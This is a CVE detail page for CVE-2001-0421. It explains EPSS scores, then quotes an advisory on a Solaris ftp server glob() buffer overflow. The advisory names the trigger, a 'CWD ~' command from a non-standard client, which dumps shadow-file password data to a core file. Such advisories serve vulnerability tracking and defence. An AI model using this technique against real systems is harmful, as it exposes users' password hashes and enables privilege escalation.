CVE-2001-0421 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/2601/info Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server. A problem in the ftp server included with the Solaris Operating System could allow a local user to recover parts of the shadow file, containing encrypted passwords. Due to a previously known problem involving a buffer overflow in glob(), it is possible to cause a buffer overflow in the Solaris ftp server, which will dump parts of the shadow file to core. This can be done with the CWD ~ command, using a non-standard ftp client. Therefore, a local user could cause a buffer overflow in the ftp server, and upon reading the core file, recover passwords for other local users, potentially gaining elevated privileges.
